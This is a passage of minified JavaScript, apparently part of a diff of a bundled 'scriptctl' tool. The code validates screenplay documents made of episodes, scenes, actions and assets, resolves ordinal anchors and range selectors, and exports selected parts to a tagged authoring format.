V("episode",t)?{kind:"episode",id:t}:V("scene",t)?{kind:"scene",id:t}:V("action",t)?{kind:"action",id:t}:V("actor",t)?{kind:"asset",assetKind:"actor",id:t}:V("location",t)?{kind:"asset",assetKind:"location",id:t}:V("prop",t)?{kind:"asset",assetKind:"prop",id:t}:zs(t)}function Xo(e){return e.episodes.map((t,n)=>({episode:t,episodeIndex:n}))}function Kn(e){let t=[],n=0;return e.episodes.forEach((o,i)=>{o.scenes.forEach((r,s)=>{t.push({episode:o,episodeIndex:i,scene:r,sceneIndex:s,globalSceneIndex:n}),n++})}),t}function ei(e){let t=[],n=0,o=0;return e.episodes.forEach((i,r)=>{i.scenes.forEach((s,c)=>{s.actions.forEach((a,d)=>{t.push({episode:i,episodeIndex:r,scene:s,sceneIndex:c,globalSceneIndex:n,action:a,actionIndex:d,globalActionIndex:o}),o++}),n++})}),t}function En(e,t){return Xo(e).find(n=>n.episode.episode_id===t)??null}function jn(e,t){return Kn(e).find(n=>n.scene.scene_id===t)??null}function _o(e,t){throw new S(t,{exitCode:B,errorCode:"ORDINAL_ANCHOR_INVALID",data:{expected:["@ep:N | @ep:N/scn:N | @ep:N/scn:N/ac:N | @scn:N | @scn:N/ac:N | @ac:N"],actual:[e]}})}function xn(e,t){return/^[1-9]\d*$/.test(e)||_o(t,"Ordinal positions are 1-based positive integers."),Number(e)}function Hs(e,t){let n=/^@ep:(\d+)$/.exec(t);if(n){let o=Xo(e)[xn(n[1],t)-1];return o||_o(t,"Episode ordinal is outside the current script."),{kind:"episode",id:o.episode.episode_id}}if(n=/^@ep:(\d+)\/scn:(\d+)$/.exec(t),n){let o=Xo(e)[xn(n[1],t)-1],i=o?.episode.scenes[xn(n[2],t)-1];return(!o||!i)&&_o(t,"Episode-local scene ordinal is outside the current script."),{kind:"scene",id:i.scene_id}}if(n=/^@ep:(\d+)\/scn:(\d+)\/ac:(\d+)$/.exec(t),n){let o=Xo(e)[xn(n[1],t)-1],i=o?.episode.scenes[xn(n[2],t)-1],r=i?.actions[xn(n[3],t)-1];return(!o||!i||!r)&&_o(t,"Episode-local action ordinal is outside the current script."),{kind:"action",id:r.action_id}}if(n=/^@scn:(\d+)$/.exec(t),n){let o=Kn(e)[xn(n[1],t)-1];return o||_o(t,"Global scene ordinal is outside the current script."),{kind:"scene",id:o.scene.scene_id}}if(n=/^@scn:(\d+)\/ac:(\d+)$/.exec(t),n){let o=Kn(e)[xn(n[1],t)-1],i=o?.scene.actions[xn(n[2],t)-1];return(!o||!i)&&_o(t,"Scene-local action ordinal is outside the current script."),{kind:"action",id:i.action_id}}if(n=/^@ac:(\d+)$/.exec(t),n){let o=ei(e)[xn(n[1],t)-1];return o||_o(t,"Global action ordinal is outside the current script."),{kind:"action",id:o.action.action_id}}return _o(t,"Ordinal anchor syntax is not supported.")}function Ji(e,t){throw new S(e,{exitCode:B,errorCode:"V4_SELECTOR_INVALID",data:{expected:["typed v4 ID or same-kind inclusive range; comma joins regions"],actual:[t]}})}function Bu(e,t){return e.kind==="episode"||e.kind==="scene"||e.kind==="action"?e.kind:Ji("Asset and state addresses are not narrative range anchors.",t)}function Ju(e){return e.kind==="state"?`${e.assetId}/${e.stateId}`:e.id}function Ku(e,t,n){return t.startsWith("@")?(n||Ji("Ordinal anchors are query-only.",t),Hs(e,t)):Pr(t)}function B_(e,t,n,o){let i=e.indexOf(t),r=e.indexOf(n);(i<0||r<0)&&Ji("Range endpoint does not exist in the current script.",o);let s=Math.min(i,r),c=Math.max(i,r);return e.slice(s,c+1)}function Qs(e,t,n){let o=typeof t=="string"?t.trim():"";if(!o)return{isEmpty:!0,isWholeScript:!1,matchesEpisode:()=>!0,matchesScene:()=>!0,matchesAction:()=>!0};if(o==="*")return{isEmpty:!1,isWholeScript:!0,matchesEpisode:()=>!0,matchesScene:()=>!0,matchesAction:()=>!0};let i=Xo(e),r=Kn(e),s=ei(e),c=i.map(g=>g.episode.episode_id),a=r.map(g=>g.scene.scene_id),d=s.map(g=>g.action.action_id),p=new Set,l=new Set,f=new Set,u=g=>{p.add(g);let w=i.find(h=>h.episode.episode_id===g)?.episode;w&&w.scenes.forEach(h=>{l.add(h.scene_id),h.actions.forEach(_=>f.add(_.action_id))})},y=g=>{l.add(g);let w=r.find(h=>h.scene.scene_id===g);w&&(p.add(w.episode.episode_id),w.scene.actions.forEach(h=>f.add(h.action_id)))},m=g=>{f.add(g);let w=s.find(h=>h.action.action_id===g);w&&(p.add(w.episode.episode_id),l.add(w.scene.scene_id))};for(let g of o.split(",")){let w=g.trim();w||Ji("Selector contains an empty region.",o);let h=w.split("..");h.length>2&&Ji("Selector region has too many range delimiters.",w);let _=Ku(e,h[0].trim(),n.allowOrdinals),x=Ku(e,(h[1]??h[0]).trim(),n.allowOrdinals),E=Bu(_,w);Bu(x,w)!==E&&Ji("Range endpoints must have the same kind.",w);let A=Ju(_),k=Ju(x),M=B_(E==="episode"?c:E==="scene"?a:d,A,k,w);E==="episode"?M.forEach(u):E==="scene"?M.forEach(y):M.forEach(m)}return{isEmpty:!1,isWholeScript:!1,matchesEpisode:g=>p.has(g),matchesScene:g=>l.has(g),matchesAction:g=>f.has(g)}}function Eo(e,t){throw new S(e,{exitCode:B,errorCode:"AUTHORING_SELECTOR_INVALID",data:{actual:t}})}function J_(e){return e.replace(/\\/g,"\\\\").replace(/\|/g,"\\|").replace(/\]/g,"\\]").replace(/\n/g,"\\n")}function K_(e){return e.replace(/\\/g,"\\\\").replace(/\n/g,"\\n")}function se(e,t,n=""){let o=[e,...t].map(J_).join("|"),i=K_(n);return`[${o}]${i?` ${i}`:""}`}function td(e){if(Array.isArray(e))return e.map(td);if(e!==null&&typeof e=="object"){let t={};for(let n of Object.keys(e).sort())t[n]=td(e[n]);return t}return e}function xo(e){return e===void 0?[]:[se("extensions",[]),...Object.keys(e).sort().map(t=>se("extend",[t],JSON.stringify(td(e[t]))))]}function j_(e){return"actor_id"in e?e.state_id===void 0?e.actor_id:`${e.actor_id}/${e.state_id}`:e.label===void 0?e.kind:`${e.kind}:${e.label}`}function ju(e){let t=xo(e.extend);if(e.transition_prompt!==void 0&&t.push(se("prompt",[e.transition_prompt.target,e.transition_prompt.process,e.transition_prompt.contrast])),e.type==="dialogue"||e.type==="inner_thought"){let n=[e.action_id,j_(e.speaker)];"parenthetical"in e&&n.push(e.parenthetical??""),t.push(se(e.type==="dialogue"?"dlg":"think",n,e.content))}else t.push(se(e.type==="action"?"act":"trans",[e.action_id],e.content));return t}function nd(e,t){let n=[...xo(e.extend),`<scene ${t}>`];if(e.environment!==void 0){let o=e.environment.time===void 0?e.environment.space===void 0?[]:[e.environment.space]:[e.environment.space??"",e.environment.time];n.push(se("environment",o))}n.push(e.location===null?se("location",[]):se("location",[e.location.location_id,...e.location.state_ids]));for(let o of e.actors)n.push(se("cast",[o.actor_id,...o.state_ids]));for(let o of e.props)n.push(se("prop",[o.prop_id,...o.state_ids]));return n.push("","<body>"),e.actions.forEach(o=>n.push(...ju(o))),n.push("</body>","","</scene>"),n}function od(e){let t=[...xo(e.extend),`<episode id=${e.episode_id}>`];return e.title!==void 0&&t.push(se("title",[],e.title)),e.synopsis!==void 0&&t.push(se("synopsis",[],e.synopsis)),e.scenes.forEach((n,o)=>{(o>0||e.title!==void 0||e.synopsis!==void 0)&&t.push(""),t.push(...nd(n,`id=${n.scene_id}`))}),t.push("</episode>"),t}function Xc(e,t){return[...xo(t.extend),se("state",[e,t.state_id,t.state_name],t.description)]}function z_(e){let t=["<create>"];for(let n of e.actors){t.push(...xo(n.extend)),n.aliases!==void 0&&(t.push(se("aliases",[])),n.aliases.forEach(i=>t.push(se("alias",[],i))));let o=[n.actor_id,n.actor_name,n.importance];n.role_type!==void 0&&o.push(n.role_type),t.push(se("actor",o,n.description)),n.states.forEach(i=>t.push(...Xc(n.actor_id,i)))}for(let n of e.locations)t.push(...xo(n.extend)),n.aliases!==void 0&&(t.push(se("aliases",[])),n.aliases.forEach(o=>t.push(se("alias",[],o)))),t.push(se("location",[n.location_id,n.location_name,n.importance],n.description)),n.states.forEach(o=>t.push(...Xc(n.location_id,o)));for(let n of e.props)t.push(...xo(n.extend)),n.aliases!==void 0&&(t.push(se("aliases",[])),n.aliases.forEach(o=>t.push(se("alias",[],o)))),t.push(se("prop",[n.prop_id,n.prop_name,n.importance],n.description)),n.states.forEach(o=>t.push(...Xc(n.prop_id,o)));return t.push("</create>"),t}function H_(e){let t=[...xo(e.extend),"<script>"];return t.push(se("title",[],e.title),se("worldview",[],e.worldview)),e.worldview_raw!==void 0&&t.push(se("worldview-raw",[],e.worldview_raw)),t.push(se("style",[],e.style)),e.synopsis!==void 0&&t.push(se("synopsis",[],e.synopsis)),e.logline!==void 0&&t.push(se("logline",[],e.logline)),e.theme!==void 0&&t.push(se("theme",[],e.theme)),e.main_characters!==void 0&&(t.push(se("main-characters",[])),e.main_characters.forEach(n=>t.push(se("main-character",[n.name,n.role])))),e.episodes.forEach(n=>t.push("",...od(n))),t.push("</script>"),t}function Q_(e){return e.trim()||Eo("This export kind requires --in.",["<missing>"]),e.split(",").map(t=>{let n=t.trim().split("..");return n.length>2||!n[0]||n.length===2&&!n[1]?Eo("Selector region is invalid.",[t]):{left:n[0],right:n[1]??n[0]}})}function ed(e,t,n,o,i){let r=-1;return Q_(i).map(s=>{let c=f=>{if(!f.startsWith("@"))return f;let u=Hs(e,f);return u.kind!==t?Eo("Selector endpoint kind does not match the export kind.",[f,t]):u.id},a=o.indexOf(c(s.left)),d=o.indexOf(c(s.right));(a<0||d<0)&&Eo("Selector endpoint was not found.",[s.left,s.right]);let p=Math.min(a,d),l=Math.max(a,d);return p<=r&&Eo("Selector regions must follow current document order without overlap.",[`${s.left}..${s.right}`]),r=l,n.slice(p,l+1)})}function zu(e,t,n){let o=["<authoring version=1>",""],i=0;if(t==="script")o.push(...z_(e),"",...H_(e)),i=1;else if(t==="episodes"){let r=Qs(e,n,{allowOrdinals:!0}),s=e.episodes.filter(c=>r.matchesEpisode(c.episode_id));s.forEach((c,a)=>{a>0&&o.push(""),o.push(...od(c))}),i=s.length}else if(t==="episode-spans"){let r=ed(e,"episode",e.episodes,e.episodes.map(s=>s.episode_id),n);for(let[s,c]of r.entries())s>0&&o.push(""),o.push(`<episode-span range=${c[0].episode_id}..${c.at(-1).episode_id}>`),c.forEach(a=>o.push(...od(a))),o.push("</episode-span>"),i++}else if(t==="scenes"){let r=Qs(e,n,{allowOrdinals:!0}),s=Kn(e).filter(c=>r.matchesScene(c.scene.scene_id));s.forEach((c,a)=>{a>0&&o.push(""),o.push(...nd(c.scene,`id=${c.scene.scene_id} parent=${c.episode.episode_id}`))}),i=s.length}else if(t==="scene-spans"){let r=Kn(e),s=ed(e,"scene",r,r.map(c=>c.scene.scene_id),n);for(let[c,a]of s.entries()){let d=a[0].episode.episode_id;a.every(p=>p.episode.episode_id===d)||Eo("A scene span must remain inside one episode.",[a[0].scene.scene_id,a.at(-1).scene.scene_id]),c>0&&o.push(""),o.push(`<scene-span parent=${d} range=${a[0].scene.scene_id}..${a.at(-1).scene.scene_id}>`),a.forEach(p=>o.push(...nd(p.scene,`id=${p.scene.scene_id}`))),o.push("</scene-span>"),i++}}else{let r=ei(e),s=ed(e,"action",r,r.map(c=>c.action.action_id),n);for(let[c,a]of s.entries()){let d=a[0].scene.scene_id;a.every(p=>p.scene.scene_id===d)||Eo("An action span must remain inside one scene.",[a[0].action.action_id,a.at(-1).action.action_id]),c>0&&o.push(""),o.push(`<action-span parent=${d} range=${a[0].action.action_id}..${a.at(-1).action.action_id}>`,"<body>"),a.forEach(p=>o.push(...ju(p.action))),o.push("</body>","</action-span>"),i++}}return i===0&&Eo("Selector did not match any authoring targets.",[n||"<empty>"]),o.push("","</authoring>"),{content:`${o.join(`
126
+ `}function Ye(e){return e!==null&&typeof e=="object"&&!Array.isArray(e)}function _t(e,t){return e[t]===void 0||typeof e[t]=="string"}function Fc(e){return e===null||typeof e=="string"||typeof e=="number"||typeof e=="boolean"?!0:Array.isArray(e)?e.every(Fc):Ye(e)&&Object.values(e).every(Fc)}function ho(e){return e.extend===void 0||Ye(e.extend)&&Object.values(e.extend).every(Fc)}function Yc(e){return Ye(e)&&typeof e.state_id=="string"&&typeof e.state_name=="string"&&typeof e.description=="string"&&ho(e)}function N_(e){return Ye(e)&&typeof e.actor_id=="string"&&typeof e.actor_name=="string"&&typeof e.description=="string"&&typeof e.importance=="string"&&Pt.has(e.importance)&&(e.aliases===void 0||Array.isArray(e.aliases)&&e.aliases.every(t=>typeof t=="string"))&&(e.role_type===void 0||e.role_type==="\u4E3B\u89D2"||e.role_type==="\u914D\u89D2")&&Array.isArray(e.states)&&e.states.every(Yc)&&ho(e)}function U_(e){return Ye(e)&&typeof e.location_id=="string"&&typeof e.location_name=="string"&&typeof e.description=="string"&&typeof e.importance=="string"&&Pt.has(e.importance)&&(e.aliases===void 0||Array.isArray(e.aliases)&&e.aliases.every(t=>typeof t=="string"))&&Array.isArray(e.states)&&e.states.every(Yc)&&ho(e)}function P_(e){return Ye(e)&&typeof e.prop_id=="string"&&typeof e.prop_name=="string"&&typeof e.description=="string"&&typeof e.importance=="string"&&Pt.has(e.importance)&&(e.aliases===void 0||Array.isArray(e.aliases)&&e.aliases.every(t=>typeof t=="string"))&&Array.isArray(e.states)&&e.states.every(Yc)&&ho(e)}function C_(e){if(!Ye(e)||typeof e.type!="string"||!qt.has(e.type)||typeof e.content!="string"||!_t(e,"emotion"))return!1;if(e.speaker!==void 0){if(!Ye(e.speaker))return!1;if(typeof e.speaker.actor_id=="string"){if(!_t(e.speaker,"state_id"))return!1}else if(typeof e.speaker.kind=="string"){if(!Yo.has(e.speaker.kind)||!_t(e.speaker,"label"))return!1}else return!1}return e.transition_prompt!==void 0&&(!Ye(e.transition_prompt)||typeof e.transition_prompt.target!="string"||typeof e.transition_prompt.process!="string"||typeof e.transition_prompt.contrast!="string")?!1:ho(e)}function T_(e){return!Ye(e)||typeof e.scene_id!="string"||!Array.isArray(e.actors)||!Array.isArray(e.props)||!Array.isArray(e.actions)||!e.actions.every(C_)||!e.actors.every(t=>Ye(t)&&typeof t.actor_id=="string"&&_t(t,"state_id"))||!e.props.every(t=>Ye(t)&&typeof t.prop_id=="string"&&_t(t,"state_id"))||e.location!==null&&(!Ye(e.location)||typeof e.location.location_id!="string"||!_t(e.location,"state_id"))||e.environment!==void 0&&(!Ye(e.environment)||!_t(e.environment,"space")||!_t(e.environment,"time"))?!1:ho(e)}function V_(e){return Ye(e)&&typeof e.episode_id=="string"&&_t(e,"title")&&_t(e,"synopsis")&&Array.isArray(e.scenes)&&e.scenes.every(T_)&&ho(e)}function $_(e){return Ye(e)&&e.version===3&&typeof e.title=="string"&&typeof e.worldview=="string"&&typeof e.style=="string"&&_t(e,"worldview_raw")&&_t(e,"synopsis")&&_t(e,"logline")&&_t(e,"theme")&&(e.main_characters===void 0||Array.isArray(e.main_characters)&&e.main_characters.every(t=>Ye(t)&&typeof t.name=="string"&&typeof t.role=="string"))&&Array.isArray(e.actors)&&e.actors.every(N_)&&Array.isArray(e.locations)&&e.locations.every(U_)&&Array.isArray(e.props)&&e.props.every(P_)&&Array.isArray(e.episodes)&&e.episodes.every(V_)&&ho(e)}function Tt(e){if($_(e))return e;throw new S("The local file is not a structurally readable Script v3 document.",{exitCode:b,errorCode:"SCRIPT_V3_SHAPE_INVALID",hint:"Repair the local Script v3 structure, then rerun authoring.",data:{expected:["Script v3 with typed assets, episodes, scenes, and actions"],actual:[Array.isArray(e)?"array":typeof e]}})}var qc=[3,4],D_={3:{version:3,require:Tt,requireStructurallyReadable:Tt,validate:wt},4:{version:4,require:Di,requireStructurallyReadable:_n,validate:Pe}};function yo(e){return typeof e=="number"&&qc.some(t=>t===e)}function Zo(e){if(typeof e!="object"||e===null||Array.isArray(e))throw new S("script.json must be an object with an explicit version.",{exitCode:b,errorCode:"SCRIPT_VERSION_MISSING",data:{expected:["version: 3 or version: 4"],actual:[Array.isArray(e)?"array":typeof e]}});let t=e.version;if(yo(t))return t;throw new S("script.json must declare version 3 or version 4.",{exitCode:b,errorCode:t===void 0?"SCRIPT_VERSION_MISSING":"SCRIPT_VERSION_UNSUPPORTED",hint:"Use an explicit supported script version; scriptctl does not infer a version from document shape.",data:{expected:["version: 3 or version: 4"],actual:[String(t)]}})}function Zc(e){return D_[Zo(e)]}function Bs(e){return Zc(e).require(e)}function Js(e){return Zc(e).requireStructurallyReadable(e)}function Lr(e){return Zc(e).validate(e)}function Ks(e){throw new S("Use a bare typed v4 ID or asset/state address.",{exitCode:B,errorCode:"V4_ADDRESS_INVALID",data:{expected:["ep\u2026 | scn\u2026 | ac\u2026 | act\u2026 | loc\u2026 | prp\u2026 | asset_id/state_id"],actual:[e||"<empty>"]}})}function Nr(e){let t=typeof e=="string"?e.trim():"",n=t.indexOf("/");if(n>=0){n!==t.lastIndexOf("/")&&Ks(t);let o=t.slice(0,n),i=t.slice(n+1);return i!=="default"&&!V("state",i)&&Ks(t),V("actor",o)?{kind:"state",assetKind:"actor",assetId:o,stateId:i}:V("location",o)?{kind:"state",assetKind:"location",assetId:o,stateId:i}:V("prop",o)?{kind:"state",assetKind:"prop",assetId:o,stateId:i}:Ks(t)}return V("episode",t)?{kind:"episode",id:t}:V("scene",t)?{kind:"scene",id:t}:V("action",t)?{kind:"action",id:t}:V("actor",t)?{kind:"asset",assetKind:"actor",id:t}:V("location",t)?{kind:"asset",assetKind:"location",id:t}:V("prop",t)?{kind:"asset",assetKind:"prop",id:t}:Ks(t)}function Wo(e){return e.episodes.map((t,n)=>({episode:t,episodeIndex:n}))}function Jn(e){let t=[],n=0;return e.episodes.forEach((o,i)=>{o.scenes.forEach((r,s)=>{t.push({episode:o,episodeIndex:i,scene:r,sceneIndex:s,globalSceneIndex:n}),n++})}),t}function Xo(e){let t=[],n=0,o=0;return e.episodes.forEach((i,r)=>{i.scenes.forEach((s,c)=>{s.actions.forEach((a,d)=>{t.push({episode:i,episodeIndex:r,scene:s,sceneIndex:c,globalSceneIndex:n,action:a,actionIndex:d,globalActionIndex:o}),o++}),n++})}),t}function En(e,t){return Wo(e).find(n=>n.episode.episode_id===t)??null}function Kn(e,t){return Jn(e).find(n=>n.scene.scene_id===t)??null}function wo(e,t){throw new S(t,{exitCode:B,errorCode:"ORDINAL_ANCHOR_INVALID",data:{expected:["@ep:N | @ep:N/scn:N | @ep:N/scn:N/ac:N | @scn:N | @scn:N/ac:N | @ac:N"],actual:[e]}})}function xn(e,t){return/^[1-9]\d*$/.test(e)||wo(t,"Ordinal positions are 1-based positive integers."),Number(e)}function js(e,t){let n=/^@ep:(\d+)$/.exec(t);if(n){let o=Wo(e)[xn(n[1],t)-1];return o||wo(t,"Episode ordinal is outside the current script."),{kind:"episode",id:o.episode.episode_id}}if(n=/^@ep:(\d+)\/scn:(\d+)$/.exec(t),n){let o=Wo(e)[xn(n[1],t)-1],i=o?.episode.scenes[xn(n[2],t)-1];return(!o||!i)&&wo(t,"Episode-local scene ordinal is outside the current script."),{kind:"scene",id:i.scene_id}}if(n=/^@ep:(\d+)\/scn:(\d+)\/ac:(\d+)$/.exec(t),n){let o=Wo(e)[xn(n[1],t)-1],i=o?.episode.scenes[xn(n[2],t)-1],r=i?.actions[xn(n[3],t)-1];return(!o||!i||!r)&&wo(t,"Episode-local action ordinal is outside the current script."),{kind:"action",id:r.action_id}}if(n=/^@scn:(\d+)$/.exec(t),n){let o=Jn(e)[xn(n[1],t)-1];return o||wo(t,"Global scene ordinal is outside the current script."),{kind:"scene",id:o.scene.scene_id}}if(n=/^@scn:(\d+)\/ac:(\d+)$/.exec(t),n){let o=Jn(e)[xn(n[1],t)-1],i=o?.scene.actions[xn(n[2],t)-1];return(!o||!i)&&wo(t,"Scene-local action ordinal is outside the current script."),{kind:"action",id:i.action_id}}if(n=/^@ac:(\d+)$/.exec(t),n){let o=Xo(e)[xn(n[1],t)-1];return o||wo(t,"Global action ordinal is outside the current script."),{kind:"action",id:o.action.action_id}}return wo(t,"Ordinal anchor syntax is not supported.")}function Bi(e,t){throw new S(e,{exitCode:B,errorCode:"V4_SELECTOR_INVALID",data:{expected:["typed v4 ID or same-kind inclusive range; comma joins regions"],actual:[t]}})}function Gu(e,t){return e.kind==="episode"||e.kind==="scene"||e.kind==="action"?e.kind:Bi("Asset and state addresses are not narrative range anchors.",t)}function Bu(e){return e.kind==="state"?`${e.assetId}/${e.stateId}`:e.id}function Ju(e,t,n){return t.startsWith("@")?(n||Bi("Ordinal anchors are query-only.",t),js(e,t)):Nr(t)}function G_(e,t,n,o){let i=e.indexOf(t),r=e.indexOf(n);(i<0||r<0)&&Bi("Range endpoint does not exist in the current script.",o);let s=Math.min(i,r),c=Math.max(i,r);return e.slice(s,c+1)}function zs(e,t,n){let o=typeof t=="string"?t.trim():"";if(!o)return{isEmpty:!0,isWholeScript:!1,matchesEpisode:()=>!0,matchesScene:()=>!0,matchesAction:()=>!0};if(o==="*")return{isEmpty:!1,isWholeScript:!0,matchesEpisode:()=>!0,matchesScene:()=>!0,matchesAction:()=>!0};let i=Wo(e),r=Jn(e),s=Xo(e),c=i.map(g=>g.episode.episode_id),a=r.map(g=>g.scene.scene_id),d=s.map(g=>g.action.action_id),p=new Set,l=new Set,f=new Set,u=g=>{p.add(g);let w=i.find(h=>h.episode.episode_id===g)?.episode;w&&w.scenes.forEach(h=>{l.add(h.scene_id),h.actions.forEach(_=>f.add(_.action_id))})},y=g=>{l.add(g);let w=r.find(h=>h.scene.scene_id===g);w&&(p.add(w.episode.episode_id),w.scene.actions.forEach(h=>f.add(h.action_id)))},m=g=>{f.add(g);let w=s.find(h=>h.action.action_id===g);w&&(p.add(w.episode.episode_id),l.add(w.scene.scene_id))};for(let g of o.split(",")){let w=g.trim();w||Bi("Selector contains an empty region.",o);let h=w.split("..");h.length>2&&Bi("Selector region has too many range delimiters.",w);let _=Ju(e,h[0].trim(),n.allowOrdinals),x=Ju(e,(h[1]??h[0]).trim(),n.allowOrdinals),E=Gu(_,w);Gu(x,w)!==E&&Bi("Range endpoints must have the same kind.",w);let A=Bu(_),k=Bu(x),M=G_(E==="episode"?c:E==="scene"?a:d,A,k,w);E==="episode"?M.forEach(u):E==="scene"?M.forEach(y):M.forEach(m)}return{isEmpty:!1,isWholeScript:!1,matchesEpisode:g=>p.has(g),matchesScene:g=>l.has(g),matchesAction:g=>f.has(g)}}function _o(e,t){throw new S(e,{exitCode:B,errorCode:"AUTHORING_SELECTOR_INVALID",data:{actual:t}})}function B_(e){return e.replace(/\\/g,"\\\\").replace(/\|/g,"\\|").replace(/\]/g,"\\]").replace(/\n/g,"\\n")}function J_(e){return e.replace(/\\/g,"\\\\").replace(/\n/g,"\\n")}function se(e,t,n=""){let o=[e,...t].map(B_).join("|"),i=J_(n);return`[${o}]${i?` ${i}`:""}`}function ed(e){if(Array.isArray(e))return e.map(ed);if(e!==null&&typeof e=="object"){let t={};for(let n of Object.keys(e).sort())t[n]=ed(e[n]);return t}return e}function Eo(e){return e===void 0?[]:[se("extensions",[]),...Object.keys(e).sort().map(t=>se("extend",[t],JSON.stringify(ed(e[t]))))]}function K_(e){return"actor_id"in e?e.state_id===void 0?e.actor_id:`${e.actor_id}/${e.state_id}`:e.label===void 0?e.kind:`${e.kind}:${e.label}`}function Ku(e){let t=Eo(e.extend);if(e.transition_prompt!==void 0&&t.push(se("prompt",[e.transition_prompt.target,e.transition_prompt.process,e.transition_prompt.contrast])),e.type==="dialogue"||e.type==="inner_thought"){let n=[e.action_id,K_(e.speaker)];"parenthetical"in e&&n.push(e.parenthetical??""),t.push(se(e.type==="dialogue"?"dlg":"think",n,e.content))}else t.push(se(e.type==="action"?"act":"trans",[e.action_id],e.content));return t}function td(e,t){let n=[...Eo(e.extend),`<scene ${t}>`];if(e.environment!==void 0){let o=e.environment.time===void 0?e.environment.space===void 0?[]:[e.environment.space]:[e.environment.space??"",e.environment.time];n.push(se("environment",o))}n.push(e.location===null?se("location",[]):se("location",[e.location.location_id,...e.location.state_ids]));for(let o of e.actors)n.push(se("cast",[o.actor_id,...o.state_ids]));for(let o of e.props)n.push(se("prop",[o.prop_id,...o.state_ids]));return n.push("","<body>"),e.actions.forEach(o=>n.push(...Ku(o))),n.push("</body>","","</scene>"),n}function nd(e){let t=[...Eo(e.extend),`<episode id=${e.episode_id}>`];return e.title!==void 0&&t.push(se("title",[],e.title)),e.synopsis!==void 0&&t.push(se("synopsis",[],e.synopsis)),e.scenes.forEach((n,o)=>{(o>0||e.title!==void 0||e.synopsis!==void 0)&&t.push(""),t.push(...td(n,`id=${n.scene_id}`))}),t.push("</episode>"),t}function Wc(e,t){return[...Eo(t.extend),se("state",[e,t.state_id,t.state_name],t.description)]}function j_(e){let t=["<create>"];for(let n of e.actors){t.push(...Eo(n.extend)),n.aliases!==void 0&&(t.push(se("aliases",[])),n.aliases.forEach(i=>t.push(se("alias",[],i))));let o=[n.actor_id,n.actor_name,n.importance];n.role_type!==void 0&&o.push(n.role_type),t.push(se("actor",o,n.description)),n.states.forEach(i=>t.push(...Wc(n.actor_id,i)))}for(let n of e.locations)t.push(...Eo(n.extend)),n.aliases!==void 0&&(t.push(se("aliases",[])),n.aliases.forEach(o=>t.push(se("alias",[],o)))),t.push(se("location",[n.location_id,n.location_name,n.importance],n.description)),n.states.forEach(o=>t.push(...Wc(n.location_id,o)));for(let n of e.props)t.push(...Eo(n.extend)),n.aliases!==void 0&&(t.push(se("aliases",[])),n.aliases.forEach(o=>t.push(se("alias",[],o)))),t.push(se("prop",[n.prop_id,n.prop_name,n.importance],n.description)),n.states.forEach(o=>t.push(...Wc(n.prop_id,o)));return t.push("</create>"),t}function z_(e){let t=[...Eo(e.extend),"<script>"];return t.push(se("title",[],e.title),se("worldview",[],e.worldview)),e.worldview_raw!==void 0&&t.push(se("worldview-raw",[],e.worldview_raw)),t.push(se("style",[],e.style)),e.synopsis!==void 0&&t.push(se("synopsis",[],e.synopsis)),e.logline!==void 0&&t.push(se("logline",[],e.logline)),e.theme!==void 0&&t.push(se("theme",[],e.theme)),e.main_characters!==void 0&&(t.push(se("main-characters",[])),e.main_characters.forEach(n=>t.push(se("main-character",[n.name,n.role])))),e.episodes.forEach(n=>t.push("",...nd(n))),t.push("</script>"),t}function H_(e){return e.trim()||_o("This export kind requires --in.",["<missing>"]),e.split(",").map(t=>{let n=t.trim().split("..");return n.length>2||!n[0]||n.length===2&&!n[1]?_o("Selector region is invalid.",[t]):{left:n[0],right:n[1]??n[0]}})}function Xc(e,t,n,o,i){let r=-1;return H_(i).map(s=>{let c=f=>{if(!f.startsWith("@"))return f;let u=js(e,f);return u.kind!==t?_o("Selector endpoint kind does not match the export kind.",[f,t]):u.id},a=o.indexOf(c(s.left)),d=o.indexOf(c(s.right));(a<0||d<0)&&_o("Selector endpoint was not found.",[s.left,s.right]);let p=Math.min(a,d),l=Math.max(a,d);return p<=r&&_o("Selector regions must follow current document order without overlap.",[`${s.left}..${s.right}`]),r=l,n.slice(p,l+1)})}function ju(e,t,n){let o=["<authoring version=1>",""],i=0;if(t==="script")o.push(...j_(e),"",...z_(e)),i=1;else if(t==="episodes"){let r=zs(e,n,{allowOrdinals:!0}),s=e.episodes.filter(c=>r.matchesEpisode(c.episode_id));s.forEach((c,a)=>{a>0&&o.push(""),o.push(...nd(c))}),i=s.length}else if(t==="episode-spans"){let r=Xc(e,"episode",e.episodes,e.episodes.map(s=>s.episode_id),n);for(let[s,c]of r.entries())s>0&&o.push(""),o.push(`<episode-span range=${c[0].episode_id}..${c.at(-1).episode_id}>`),c.forEach(a=>o.push(...nd(a))),o.push("</episode-span>"),i++}else if(t==="scenes"){let r=zs(e,n,{allowOrdinals:!0}),s=Jn(e).filter(c=>r.matchesScene(c.scene.scene_id));s.forEach((c,a)=>{a>0&&o.push(""),o.push(...td(c.scene,`id=${c.scene.scene_id} parent=${c.episode.episode_id}`))}),i=s.length}else if(t==="scene-spans"){let r=Jn(e),s=Xc(e,"scene",r,r.map(c=>c.scene.scene_id),n);for(let[c,a]of s.entries()){let d=a[0].episode.episode_id;a.every(p=>p.episode.episode_id===d)||_o("A scene span must remain inside one episode.",[a[0].scene.scene_id,a.at(-1).scene.scene_id]),c>0&&o.push(""),o.push(`<scene-span parent=${d} range=${a[0].scene.scene_id}..${a.at(-1).scene.scene_id}>`),a.forEach(p=>o.push(...td(p.scene,`id=${p.scene.scene_id}`))),o.push("</scene-span>"),i++}}else{let r=Xo(e),s=Xc(e,"action",r,r.map(c=>c.action.action_id),n);for(let[c,a]of s.entries()){let d=a[0].scene.scene_id;a.every(p=>p.scene.scene_id===d)||_o("An action span must remain inside one scene.",[a[0].action.action_id,a.at(-1).action.action_id]),c>0&&o.push(""),o.push(`<action-span parent=${d} range=${a[0].action.action_id}..${a.at(-1).action.action_id}>`,"<body>"),a.forEach(p=>o.push(...Ku(p.action))),o.push("</body>","</action-span>"),i++}}return i===0&&_o("Selector did not match any authoring targets.",[n||"<empty>"]),o.push("","</authoring>"),{content:`${o.join(`
127
127
  `)}
128
